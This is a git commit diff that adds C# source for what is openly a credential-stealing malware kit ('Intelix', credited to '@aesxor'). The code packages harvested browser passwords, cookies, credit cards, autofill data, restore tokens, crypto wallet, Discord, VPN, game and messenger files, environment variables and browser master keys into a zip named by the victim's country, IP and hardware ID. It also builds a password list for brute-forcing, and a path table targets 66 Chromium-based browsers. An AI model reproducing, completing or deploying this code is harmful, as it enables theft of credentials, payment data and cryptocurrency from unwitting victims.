initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,29 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public class ArchiveStructure
|
||||
{
|
||||
private readonly string _rootFolderName;
|
||||
|
||||
public string RootFolderName => _rootFolderName;
|
||||
|
||||
public ArchiveStructure(string countryCode, string ipAddress, string hwid)
|
||||
{
|
||||
DateTime now = DateTime.Now;
|
||||
string date = now.ToString("yyyy-M-d");
|
||||
string time = now.ToString("H_m_s");
|
||||
_rootFolderName = $"{countryCode}_{ipAddress}_{date} {time}_{hwid}";
|
||||
}
|
||||
|
||||
public string GetPath(string relativePath)
|
||||
{
|
||||
if (string.IsNullOrEmpty(relativePath))
|
||||
{
|
||||
return _rootFolderName;
|
||||
}
|
||||
return $"{_rootFolderName}/{relativePath}";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,382 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public class ConsolidatedFilesGenerator
|
||||
{
|
||||
public static void GenerateConsolidatedFiles(InMemoryZip zip, Counter counter, string publicIp, string countryCode, string hwid)
|
||||
{
|
||||
GeneratePasswordsFile(zip);
|
||||
GenerateCreditCardsFile(zip);
|
||||
GenerateUserInformationFile(zip, publicIp, countryCode, hwid);
|
||||
GenerateEnvironmentFile(zip);
|
||||
GenerateBruteFile(zip);
|
||||
GenerateDomainDetectsFile(zip);
|
||||
GenerateInstalledSoftwareFile(zip);
|
||||
}
|
||||
|
||||
private static void GeneratePasswordsFile(InMemoryZip zip)
|
||||
{
|
||||
List<string> allPasswords = new List<string>();
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None);
|
||||
|
||||
string fileName = Path.GetFileName(entry.Key);
|
||||
bool hasData = false;
|
||||
|
||||
for (int i = 0; i < lines.Length; i++)
|
||||
{
|
||||
string line = lines[i];
|
||||
if (line.StartsWith("URL:") || line.StartsWith("Hostname:"))
|
||||
{
|
||||
allPasswords.Add(line);
|
||||
hasData = true;
|
||||
}
|
||||
else if (line.StartsWith("Username:") || line.StartsWith("Password:"))
|
||||
{
|
||||
allPasswords.Add(line);
|
||||
}
|
||||
else if (string.IsNullOrWhiteSpace(line) && hasData && i < lines.Length - 1 && !string.IsNullOrWhiteSpace(lines[i + 1]))
|
||||
{
|
||||
allPasswords.Add("Application: Browser/Logins/" + fileName);
|
||||
allPasswords.Add("===============");
|
||||
hasData = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (hasData)
|
||||
{
|
||||
allPasswords.Add("Application: Browser/Logins/" + fileName);
|
||||
allPasswords.Add("===============");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (allPasswords.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("Passwords.txt", string.Join("\n", allPasswords));
|
||||
}
|
||||
}
|
||||
|
||||
private static void GenerateCreditCardsFile(InMemoryZip zip)
|
||||
{
|
||||
ConcurrentBag<string> allCreditCards = new ConcurrentBag<string>();
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if ((entry.Key.Contains("Browser/Credits/") || entry.Key.Contains("CreditCards/")) && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
if (!string.IsNullOrWhiteSpace(content))
|
||||
{
|
||||
allCreditCards.Add(content);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (allCreditCards.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("CreditCards.txt", string.Join("\n\n", allCreditCards));
|
||||
}
|
||||
}
|
||||
|
||||
private static void GenerateUserInformationFile(InMemoryZip zip, string publicIp, string countryCode, string hwid)
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
DateTime now = DateTime.Now;
|
||||
|
||||
sb.AppendLine($"Log date: {now:dd MMM yy HH:mm} MSK");
|
||||
sb.AppendLine("Traffic: src");
|
||||
sb.AppendLine($"HWID: {hwid}");
|
||||
sb.AppendLine($"Country: {countryCode}");
|
||||
sb.AppendLine($"IP: {publicIp}");
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("Information.txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None);
|
||||
|
||||
foreach (string line in lines)
|
||||
{
|
||||
if (line.Contains("System Language:") || line.Contains("Processor:") ||
|
||||
line.Contains("Installed RAM:") || line.Contains("OS Product:") ||
|
||||
line.Contains("OS Build:") || line.Contains("OS Arch:") ||
|
||||
line.Contains("CPU Name:") || line.Contains("Logical Cores:") ||
|
||||
line.Contains("RAM Total:") || line.Contains("RAM Available:") ||
|
||||
line.Contains("GPU:") || line.Contains("Computer Name:") ||
|
||||
line.Contains("Domain Name:") || line.Contains("MachineID:") ||
|
||||
line.Contains("Product Key:") || line.Contains("User:") ||
|
||||
line.Contains("Machine:") || line.Contains("Now:") ||
|
||||
line.Contains("Input ISO:") || line.Contains("Hwid:") ||
|
||||
line.Contains("Clipboard:") || line.Contains("External IP:") ||
|
||||
line.Contains("Internal IP:") || line.Contains("Default Gateway:") ||
|
||||
line.Contains("User Domain:") || line.Contains("CLR Version:"))
|
||||
{
|
||||
string processedLine = line;
|
||||
if (line.Contains("OS Product:"))
|
||||
{
|
||||
processedLine = "Operation System: " + line.Substring(line.IndexOf("OS Product:") + 11).Trim();
|
||||
}
|
||||
else if (line.Contains("OS Build:"))
|
||||
{
|
||||
processedLine = "Operation System: " + processedLine;
|
||||
}
|
||||
else if (line.Contains("CPU Name:"))
|
||||
{
|
||||
processedLine = "Processor: " + line.Substring(line.IndexOf("CPU Name:") + 9).Trim();
|
||||
}
|
||||
else if (line.Contains("Installed RAM:"))
|
||||
{
|
||||
processedLine = line.Replace("RAM Total (MB):", "Installed RAM:");
|
||||
}
|
||||
else if (line.Contains("User:"))
|
||||
{
|
||||
processedLine = "User Name: " + line.Substring(line.IndexOf("User:") + 5).Trim();
|
||||
}
|
||||
else if (line.Contains("Machine:"))
|
||||
{
|
||||
processedLine = "Computer Name: " + line.Substring(line.IndexOf("Machine:") + 8).Trim();
|
||||
}
|
||||
else if (line.Contains("External IP:"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
sb.AppendLine(processedLine);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sb.AppendLine("-------------");
|
||||
|
||||
zip.AddTextFile("UserInformation.txt", sb.ToString());
|
||||
}
|
||||
|
||||
private static void GenerateEnvironmentFile(InMemoryZip zip)
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
foreach (DictionaryEntry entry in Environment.GetEnvironmentVariables())
|
||||
{
|
||||
sb.AppendLine($"{entry.Key}={entry.Value}");
|
||||
}
|
||||
|
||||
zip.AddTextFile("Environment.txt", sb.ToString());
|
||||
}
|
||||
|
||||
private static void GenerateBruteFile(InMemoryZip zip)
|
||||
{
|
||||
ConcurrentBag<string> passwords = new ConcurrentBag<string>();
|
||||
HashSet<string> uniquePasswords = new HashSet<string>();
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
MatchCollection matches = Regex.Matches(content, @"Password:\s*(.+)", RegexOptions.Multiline);
|
||||
|
||||
foreach (Match match in matches)
|
||||
{
|
||||
string password = match.Groups[1].Value.Trim();
|
||||
if (!string.IsNullOrEmpty(password) && uniquePasswords.Add(password))
|
||||
{
|
||||
passwords.Add(password);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (passwords.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("Brute.txt", string.Join("\n", passwords));
|
||||
}
|
||||
}
|
||||
|
||||
private static void GenerateDomainDetectsFile(InMemoryZip zip)
|
||||
{
|
||||
Dictionary<string, int> loginDomains = new Dictionary<string, int>();
|
||||
Dictionary<string, int> cookieDomains = new Dictionary<string, int>();
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
MatchCollection matches = Regex.Matches(content, @"(?:URL:|Hostname:)\s*(?:https?://)?(?:www\.)?([^/\s]+)", RegexOptions.IgnoreCase);
|
||||
|
||||
foreach (Match match in matches)
|
||||
{
|
||||
string domain = match.Groups[1].Value.Trim().ToLower();
|
||||
if (!string.IsNullOrEmpty(domain))
|
||||
{
|
||||
if (!loginDomains.ContainsKey(domain))
|
||||
{
|
||||
loginDomains[domain] = 0;
|
||||
}
|
||||
loginDomains[domain]++;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
else if (entry.Key.Contains("Browser/Cookies/") && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
MatchCollection matches = Regex.Matches(content, @"(?:\.)?([a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9]?\.[a-zA-Z]{2,})", RegexOptions.IgnoreCase);
|
||||
|
||||
foreach (Match match in matches)
|
||||
{
|
||||
string domain = match.Groups[1].Value.Trim().ToLower();
|
||||
if (!string.IsNullOrEmpty(domain))
|
||||
{
|
||||
if (!cookieDomains.ContainsKey(domain))
|
||||
{
|
||||
cookieDomains[domain] = 0;
|
||||
}
|
||||
cookieDomains[domain]++;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (loginDomains.Count > 0)
|
||||
{
|
||||
sb.AppendLine("LoginData:");
|
||||
int index = 1;
|
||||
foreach (var domain in loginDomains.OrderByDescending(d => d.Value))
|
||||
{
|
||||
sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})");
|
||||
index++;
|
||||
}
|
||||
}
|
||||
|
||||
if (cookieDomains.Count > 0)
|
||||
{
|
||||
sb.AppendLine("Cookies:");
|
||||
int index = 1;
|
||||
foreach (var domain in cookieDomains.OrderByDescending(d => d.Value))
|
||||
{
|
||||
sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})");
|
||||
index++;
|
||||
}
|
||||
}
|
||||
|
||||
if (sb.Length > 0)
|
||||
{
|
||||
zip.AddTextFile("DomainDetects.txt", sb.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetDomainName(string domain)
|
||||
{
|
||||
string[] parts = domain.Split('.');
|
||||
if (parts.Length >= 2)
|
||||
{
|
||||
return parts[parts.Length - 2];
|
||||
}
|
||||
return domain;
|
||||
}
|
||||
|
||||
private static void GenerateInstalledSoftwareFile(InMemoryZip zip)
|
||||
{
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("InstalledSoftware.txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
|
||||
|
||||
List<string> formattedLines = new List<string>();
|
||||
int index = 1;
|
||||
|
||||
foreach (string line in lines)
|
||||
{
|
||||
if (line.Contains(" | ") && !line.StartsWith("Name") && !line.Contains("---"))
|
||||
{
|
||||
string[] parts = line.Split(new[] { " | " }, StringSplitOptions.None);
|
||||
if (parts.Length >= 3)
|
||||
{
|
||||
string name = parts[0].Trim();
|
||||
string path = parts[1].Trim();
|
||||
string version = parts[2].Trim();
|
||||
|
||||
string publisher = "Unknown";
|
||||
if (parts.Length > 3)
|
||||
{
|
||||
publisher = parts[3].Trim();
|
||||
}
|
||||
|
||||
formattedLines.Add($"{index}) {name} [{version}] - {publisher}");
|
||||
index++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (formattedLines.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", formattedLines));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public class Counter
|
||||
{
|
||||
public class CounterBrowser
|
||||
{
|
||||
public string Profile;
|
||||
|
||||
public string BrowserName;
|
||||
|
||||
public ConcurrentLong Cookies;
|
||||
|
||||
public ConcurrentLong Password;
|
||||
|
||||
public ConcurrentLong CreditCards;
|
||||
|
||||
public ConcurrentLong AutoFill;
|
||||
|
||||
public ConcurrentLong RestoreToken;
|
||||
|
||||
public ConcurrentLong MaskCreditCard;
|
||||
|
||||
public ConcurrentLong MaskedIban;
|
||||
}
|
||||
|
||||
public class CounterApplications
|
||||
{
|
||||
public string Name;
|
||||
|
||||
public ConcurrentBag<string> Files = new ConcurrentBag<string>();
|
||||
}
|
||||
|
||||
public ConcurrentBag<string> FilesGrabber = new ConcurrentBag<string>();
|
||||
|
||||
public ConcurrentBag<string> CryptoDesktop = new ConcurrentBag<string>();
|
||||
|
||||
public ConcurrentBag<string> CryptoChromium = new ConcurrentBag<string>();
|
||||
|
||||
public ConcurrentBag<CounterBrowser> Browsers = new ConcurrentBag<CounterBrowser>();
|
||||
|
||||
public ConcurrentBag<CounterApplications> Applications = new ConcurrentBag<CounterApplications>();
|
||||
|
||||
public ConcurrentBag<CounterApplications> Vpns = new ConcurrentBag<CounterApplications>();
|
||||
|
||||
public ConcurrentBag<CounterApplications> Games = new ConcurrentBag<CounterApplications>();
|
||||
|
||||
public ConcurrentBag<CounterApplications> Messangers = new ConcurrentBag<CounterApplications>();
|
||||
|
||||
public void Collect(InMemoryZip zip)
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
list.Add("\r\n \r\n __ __ _ \r\n \\ \\/ /___ _ __ (_)_ _ _ __ ___ \r\n \\ // _ \\| '__|| | | | | '_ ` _ \\ \r\n / \\ (_) | | | | |_| | | | | | |\r\n /_/\\_\\___/|_| |_|\\__,_|_| |_| |_|\r\n ");
|
||||
list.Add(" Developer @aesxor");
|
||||
list.Add("");
|
||||
List<string[]> masterKeys = LocalState.GetMasterKeys();
|
||||
if (masterKeys.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Keys] [--{0}--] [{1}]", masterKeys.Count(), string.Join(", ", masterKeys.Select((string[] k) => Paths.GetBrowserName(k[0])).Distinct())));
|
||||
foreach (string[] item in masterKeys)
|
||||
{
|
||||
list.Add(" [" + Paths.GetBrowserName(item[0]) + " " + item[1] + "] " + item[2]);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Browsers.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Browsers] [--{0}--] [{1}]", Browsers.Count(), string.Join(", ", Browsers.Select((CounterBrowser b) => b.BrowserName).ToArray())));
|
||||
foreach (CounterBrowser browser in Browsers)
|
||||
{
|
||||
list.Add(" - " + browser.Profile);
|
||||
if ((long)browser.Cookies != 0L)
|
||||
{
|
||||
list.Add($" [Cookies {(long)browser.Cookies}]");
|
||||
}
|
||||
if ((long)browser.Password != 0L)
|
||||
{
|
||||
list.Add($" [Passwords {(long)browser.Password}]");
|
||||
}
|
||||
if ((long)browser.CreditCards != 0L)
|
||||
{
|
||||
list.Add($" [CreditCards {(long)browser.CreditCards}]");
|
||||
}
|
||||
if ((long)browser.AutoFill != 0L)
|
||||
{
|
||||
list.Add($" [AutoFill {(long)browser.AutoFill}]");
|
||||
}
|
||||
if ((long)browser.RestoreToken != 0L)
|
||||
{
|
||||
list.Add($" [RestoreToken {(long)browser.RestoreToken}]");
|
||||
}
|
||||
if ((long)browser.MaskCreditCard != 0L)
|
||||
{
|
||||
list.Add($" [MaskCreditCard {(long)browser.MaskCreditCard}]");
|
||||
}
|
||||
if ((long)browser.MaskedIban != 0L)
|
||||
{
|
||||
list.Add($" [MaskedIban {(long)browser.MaskedIban}]");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Applications.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Applications] [--{0}--] [{1}]", Applications.Count(), string.Join(", ", Applications.Select((CounterApplications b) => b.Name).ToArray())));
|
||||
foreach (CounterApplications application in Applications)
|
||||
{
|
||||
list.Add(" [Name " + application.Name + "]");
|
||||
foreach (string item2 in application.Files.Reverse())
|
||||
{
|
||||
list.Add(" - " + item2);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Games.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Games] [--{0}--] [{1}]", Games.Count(), string.Join(", ", Games.Select((CounterApplications b) => b.Name).ToArray())));
|
||||
foreach (CounterApplications game in Games)
|
||||
{
|
||||
list.Add(" [Name " + game.Name + "]");
|
||||
foreach (string item3 in game.Files.Reverse())
|
||||
{
|
||||
list.Add(" - " + item3);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Messangers.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Messangers] [--{0}--] [{1}]", Messangers.Count(), string.Join(", ", Messangers.Select((CounterApplications b) => b.Name).ToArray())));
|
||||
foreach (CounterApplications messanger in Messangers)
|
||||
{
|
||||
list.Add(" [Name " + messanger.Name + "]");
|
||||
foreach (string item4 in messanger.Files.Reverse())
|
||||
{
|
||||
list.Add(" - " + item4);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Vpns.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Vpns] [--{0}--] [{1}]", Vpns.Count(), string.Join(", ", Vpns.Select((CounterApplications b) => b.Name).ToArray())));
|
||||
foreach (CounterApplications vpn in Vpns)
|
||||
{
|
||||
list.Add(" [Name " + vpn.Name + "]");
|
||||
foreach (string item5 in vpn.Files.Reverse())
|
||||
{
|
||||
list.Add(" - " + item5);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (CryptoChromium.Count() > 0)
|
||||
{
|
||||
list.Add($"[CryptoChromium] [--{CryptoChromium.Count()}--]");
|
||||
foreach (string item6 in CryptoChromium)
|
||||
{
|
||||
list.Add(" - " + item6);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (CryptoDesktop.Count() > 0)
|
||||
{
|
||||
list.Add($"[CryptoDesktop] [--{CryptoDesktop.Count()}--]");
|
||||
foreach (string item7 in CryptoDesktop)
|
||||
{
|
||||
list.Add(" - " + item7);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (FilesGrabber.Count() > 0)
|
||||
{
|
||||
list.Add($"[FilesGrabber] [--{FilesGrabber.Count()}--]");
|
||||
foreach (string item8 in FilesGrabber)
|
||||
{
|
||||
list.Add(" - " + item8);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
zip.AddTextFile("IntelIX.txt", string.Join("\n", list));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public sealed class InMemoryZip : IDisposable
|
||||
{
|
||||
private readonly ConcurrentDictionary<string, byte[]> _entries = new ConcurrentDictionary<string, byte[]>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private readonly object _buildLock = new object();
|
||||
|
||||
private bool _disposed;
|
||||
private string _rootFolderPrefix = string.Empty;
|
||||
|
||||
public int Count => _entries.Count;
|
||||
|
||||
public void SetRootFolderPrefix(string prefix)
|
||||
{
|
||||
if (string.IsNullOrEmpty(prefix))
|
||||
{
|
||||
_rootFolderPrefix = string.Empty;
|
||||
}
|
||||
else
|
||||
{
|
||||
_rootFolderPrefix = NormalizeEntryName(prefix) + "/";
|
||||
}
|
||||
}
|
||||
|
||||
private static string NormalizeEntryName(string name)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(name))
|
||||
{
|
||||
throw new ArgumentException("Entry name is null or empty", "name");
|
||||
}
|
||||
name = name.Replace('\\', '/').Trim('/');
|
||||
if (name.Length != 0)
|
||||
{
|
||||
return name;
|
||||
}
|
||||
throw new ArgumentException("Invalid entry name", "name");
|
||||
}
|
||||
|
||||
private string ApplyRootPrefix(string entryPath)
|
||||
{
|
||||
if (string.IsNullOrEmpty(_rootFolderPrefix))
|
||||
{
|
||||
return entryPath;
|
||||
}
|
||||
string normalized = NormalizeEntryName(entryPath);
|
||||
if (normalized.StartsWith(_rootFolderPrefix, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return normalized;
|
||||
}
|
||||
return _rootFolderPrefix + normalized;
|
||||
}
|
||||
|
||||
public void AddFile(string entryPath, byte[] content)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException("InMemoryZip");
|
||||
}
|
||||
if (content != null && content.Length != 0)
|
||||
{
|
||||
string key = ApplyRootPrefix(entryPath);
|
||||
byte[] copy = new byte[content.Length];
|
||||
Buffer.BlockCopy(content, 0, copy, 0, content.Length);
|
||||
_entries.AddOrUpdate(key, copy, (string text, byte[] old) => copy);
|
||||
}
|
||||
}
|
||||
|
||||
public void AddTextFile(string entryPath, string text)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
AddFile(entryPath, Encoding.UTF8.GetBytes(text));
|
||||
}
|
||||
}
|
||||
|
||||
public void AddDirectoryFiles(string sourceDirectory, string targetEntryDirectory = "", bool recursive = true)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException("InMemoryZip");
|
||||
}
|
||||
if (string.IsNullOrEmpty(sourceDirectory))
|
||||
{
|
||||
throw new ArgumentException("sourceDirectory");
|
||||
}
|
||||
if (!Directory.Exists(sourceDirectory))
|
||||
{
|
||||
return;
|
||||
}
|
||||
SearchOption searchOption = (recursive ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly);
|
||||
string[] files = Directory.GetFiles(sourceDirectory, "*", searchOption);
|
||||
foreach (string text in files)
|
||||
{
|
||||
string text2 = text.Substring(sourceDirectory.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
|
||||
string text3 = (string.IsNullOrEmpty(targetEntryDirectory) ? text2 : Path.Combine(targetEntryDirectory, text2));
|
||||
text3 = text3.Replace('\\', '/');
|
||||
try
|
||||
{
|
||||
byte[] content = File.ReadAllBytes(text);
|
||||
AddFile(text3, content);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] ToArray(CompressionLevel compression = CompressionLevel.Fastest)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException("InMemoryZip");
|
||||
}
|
||||
lock (_buildLock)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using (ZipArchive zipArchive = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true, Encoding.UTF8))
|
||||
{
|
||||
foreach (KeyValuePair<string, byte[]> entry in _entries)
|
||||
{
|
||||
using Stream stream = zipArchive.CreateEntry(entry.Key, compression).Open();
|
||||
byte[] value = entry.Value;
|
||||
stream.Write(value, 0, value.Length);
|
||||
}
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public IEnumerable<KeyValuePair<string, byte[]>> GetAllEntries()
|
||||
{
|
||||
return _entries;
|
||||
}
|
||||
|
||||
public void Clear()
|
||||
{
|
||||
_entries.Clear();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (!_disposed)
|
||||
{
|
||||
_disposed = true;
|
||||
_entries.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public static class Paths
|
||||
{
|
||||
public static string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
|
||||
public static string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
||||
|
||||
public static string[] Discord = new string[4]
|
||||
{
|
||||
appdata + "\\discord",
|
||||
appdata + "\\discordcanary",
|
||||
appdata + "\\Lightcord",
|
||||
appdata + "\\discordptb"
|
||||
};
|
||||
|
||||
public static string[] Chromium = new string[66]
|
||||
{
|
||||
appdata + "\\Lulumi-browser",
|
||||
appdata + "\\kingpinbrowser",
|
||||
appdata + "\\Falkon\\Profiles",
|
||||
appdata + "\\Hola\\chromium_profile",
|
||||
appdata + "\\Opera Software\\Opera Stable",
|
||||
appdata + "\\Opera Software\\Opera GX Stable",
|
||||
localappdata + "\\Battle.net",
|
||||
localappdata + "\\GhostBrowser",
|
||||
localappdata + "\\ColibriBrowser",
|
||||
localappdata + "\\Min\\User Data",
|
||||
localappdata + "\\Coowon\\Coowon",
|
||||
localappdata + "\\Uran\\User Data",
|
||||
localappdata + "\\Kinza\\User Data",
|
||||
localappdata + "\\Blisk\\User Data",
|
||||
localappdata + "\\Xvast\\User Data",
|
||||
localappdata + "\\Torch\\User Data",
|
||||
localappdata + "\\CryptoTab Browser",
|
||||
localappdata + "\\Comodo\\User Data",
|
||||
localappdata + "\\Kometa\\User Data",
|
||||
localappdata + "\\liebao\\User Data",
|
||||
localappdata + "\\Chedot\\User Data",
|
||||
localappdata + "\\K-Melon\\User Data",
|
||||
localappdata + "\\Orbitum\\User Data",
|
||||
localappdata + "\\Vivaldi\\User Data",
|
||||
localappdata + "\\Slimjet\\User Data",
|
||||
localappdata + "\\Iridium\\User Data",
|
||||
localappdata + "\\Maxthon\\User Data",
|
||||
localappdata + "\\Maxthon3\\User Data",
|
||||
localappdata + "\\Nichrome\\User Data",
|
||||
localappdata + "\\Chromodo\\User Data",
|
||||
localappdata + "\\QIP Surf\\User Data",
|
||||
localappdata + "\\Chromium\\User Data",
|
||||
localappdata + "\\BitTorrent\\Maelstrom",
|
||||
localappdata + "\\Globus VPN\\User Data",
|
||||
localappdata + "\\CentBrowser\\User Data",
|
||||
localappdata + "\\Amigo\\User\\User Data",
|
||||
localappdata + "\\MapleStudio\\ChromePlus",
|
||||
localappdata + "\\7Star\\7Star\\User Data",
|
||||
localappdata + "\\Mail.Ru\\Atom\\User Data",
|
||||
localappdata + "\\Comodo\\Dragon\\User Data",
|
||||
localappdata + "\\UCBrowser\\User Data_i18n",
|
||||
localappdata + "\\Google\\Chrome\\User Data",
|
||||
localappdata + "\\Coowon\\Coowon\\User Data",
|
||||
localappdata + "\\CocCoc\\Browser\\User Data",
|
||||
localappdata + "\\AOL\\AOL Shield\\User Data",
|
||||
localappdata + "\\Microsoft\\Edge\\User Data",
|
||||
localappdata + "\\uCozMedia\\Uran\\User Data",
|
||||
localappdata + "\\Element Browser\\User Data",
|
||||
localappdata + "\\Sputnik\\Sputnik\\User Data",
|
||||
localappdata + "\\Elements Browser\\User Data",
|
||||
localappdata + "\\CCleaner Browser\\User Data",
|
||||
localappdata + "\\360Chrome\\Chrome\\User Data",
|
||||
localappdata + "\\Tencent\\QQBrowser\\User Data",
|
||||
localappdata + "\\Naver\\Naver Whale\\User Data",
|
||||
localappdata + "\\Baidu\\BaiduBrowser\\User Data",
|
||||
localappdata + "\\360Browser\\Browser\\User Data",
|
||||
localappdata + "\\Google(x86)\\Chrome\\User Data",
|
||||
localappdata + "\\Epic Privacy Browser\\User Data",
|
||||
localappdata + "\\CatalinaGroup\\Citrio\\User Data",
|
||||
localappdata + "\\Yandex\\YandexBrowser\\User Data",
|
||||
localappdata + "\\MapleStudio\\ChromePlus\\User Data",
|
||||
localappdata + "\\AVAST Software\\Browser\\User Data",
|
||||
localappdata + "\\BraveSoftware\\Brave-Browser\\User Data",
|
||||
localappdata + "\\NVIDIA Corporation\\NVIDIA GeForce Experience",
|
||||
localappdata + "\\BraveSoftware\\Brave-Browser-Nightly\\User Data",
|
||||
localappdata + "\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer"
|
||||
};
|
||||
|
||||
